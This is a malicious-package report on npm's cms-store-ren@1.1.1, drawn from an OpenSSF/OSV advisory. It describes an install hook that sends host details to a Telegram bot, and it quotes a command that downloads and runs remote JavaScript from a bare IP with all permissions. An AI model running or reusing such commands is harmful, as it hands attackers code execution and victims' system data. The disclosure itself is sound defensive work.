cms-store-ren
This report shows the evidence for cms-store-ren@1.1.1, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5364 confirms this npm version as malicious.
Advisory
MAL-2026-5364
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in cms-store-ren (npm)
Details
The package's `scripts.install` runs `install.js` on every `npm install`. The script unconditionally POSTs the installer's hostname, OS, and architecture to api.telegram.org using a hardcoded bot token and chat ID (install.js:7 `BOT_TOKEN = '8877182499:...'`, install.js:50-56 builds the message and sends via `sendTelegramMessage()`). On Windows, the same script writes a hidden PowerShell bootstrapper that installs Scoop/Winget and Deno, then executes `deno -A http://77.90.185.225/deee80f30a6921b4.js` — fetching an arbitrary JavaScript payload from a bare-IP HTTP URL and running it with all Deno permissions under a hidden PowerShell window. The package has no legitimate functionality (`index.js` only logs a string; placeholder author `work1`, description `cms install`) and exists solely to deliver the install-time payload. Both install-time host reconnaissance exfiltration and install-time arbitrary remote code execution from attacker infrastructure are present.
## Source: ossf-package-analysis (1e0e43b074cffbde07a16c0b1ae1645b1edebcfa7fe192f6161237b0f011952d) The OpenSSF Package Analysis project identified 'cms-store-ren' @ 1.1.1 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to cms-store-ren@1.1.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing cms-store-ren@1.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.